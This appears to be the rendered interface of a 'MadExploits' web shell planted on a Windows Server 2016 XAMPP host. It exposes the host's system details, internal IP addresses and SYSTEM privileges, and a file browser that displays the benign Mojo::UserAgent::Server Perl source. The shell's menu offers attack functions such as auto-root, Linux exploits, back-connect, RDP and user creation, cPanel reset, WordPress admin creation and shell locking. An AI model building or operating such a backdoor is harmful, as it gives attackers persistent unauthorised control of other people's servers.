Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Mojo /
UserAgent /
[ HOME SHELL ]
Name
Size
Permission
Action
CookieJar.pm
5.14
KB
-rw-rw-rw-
Proxy.pm
2.36
KB
-rw-rw-rw-
Server.pm
3.09
KB
-rw-rw-rw-
Transactor.pm
17
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Server.pm
package Mojo::UserAgent::Server; use Mojo::Base -base; use Mojo::IOLoop; use Mojo::Server::Daemon; use Scalar::Util qw(weaken); has ioloop => sub { Mojo::IOLoop->singleton }; sub app { my ($self, $app) = @_; # Singleton application state $singleton; return $singleton = $app ? $app : $singleton unless ref $self; # Default to singleton application return $self->{app} || $singleton unless $app; $self->{app} = $app; return $self; } sub nb_url { shift->_url(1, @_) } sub restart { delete @{$_[0]}{qw(nb_port nb_server port server)} } sub url { shift->_url(0, @_) } sub _url { my ($self, $nb, $proto) = @_; if (!$self->{server} || $proto) { $proto = $self->{proto} = $proto || 'http'; # Blocking my $server = $self->{server} = Mojo::Server::Daemon->new(ioloop => $self->ioloop, silent => 1); weaken $server->app($self->app)->{app}; my $port = $self->{port} ? ":$self->{port}" : ''; $self->{port} = $server->listen(["$proto://127.0.0.1$port"])->start->ports->[0]; # Non-blocking $server = $self->{nb_server} = Mojo::Server::Daemon->new(silent => 1); weaken $server->app($self->app)->{app}; $port = $self->{nb_port} ? ":$self->{nb_port}" : ''; $self->{nb_port} = $server->listen(["$proto://127.0.0.1$port"])->start->ports->[0]; } my $port = $nb ? $self->{nb_port} : $self->{port}; return Mojo::URL->new("$self->{proto}://127.0.0.1:$port/"); } 1; =encoding utf8 =head1 NAME Mojo::UserAgent::Server - Application server =head1 SYNOPSIS use Mojo::UserAgent::Server; my $server = Mojo::UserAgent::Server->new; say $server->url; =head1 DESCRIPTION L<Mojo::UserAgent::Server> is an embedded web server based on L<Mojo::Server::Daemon> that processes requests for L<Mojo::UserAgent>. =head1 ATTRIBUTES L<Mojo::UserAgent::Server> implements the following attributes. =head2 ioloop my $loop = $server->ioloop; $server = $server->ioloop(Mojo::IOLoop->new); Event loop object to use for I/O operations, defaults to the global L<Mojo::IOLoop> singleton. =head1 METHODS L<Mojo::UserAgent::Server> inherits all methods from L<Mojo::Base> and implements the following new ones. =head2 app my $app = Mojo::UserAgent::Server->app; Mojo::UserAgent::Server->app(Mojolicious->new); my $app = $server->app; $server = $server->app(Mojolicious->new); Application this server handles, instance specific applications override the global default. # Change application behavior $server->app->defaults(testing => 'oh yea!'); =head2 nb_url my $url = $server->nb_url; my $url = $server->nb_url('http'); my $url = $server->nb_url('https'); Get absolute L<Mojo::URL> object for server processing non-blocking requests with L</"app"> and switch protocol if necessary. =head2 restart $server->restart; Restart server with new port. =head2 url my $url = $server->url; my $url = $server->url('http'); my $url = $server->url('https'); Get absolute L<Mojo::URL> object for server processing blocking requests with L</"app"> and switch protocol if necessary. =head1 SEE ALSO L<Mojolicious>, L<Mojolicious::Guides>, L<https://mojolicious.org>. =cut
Close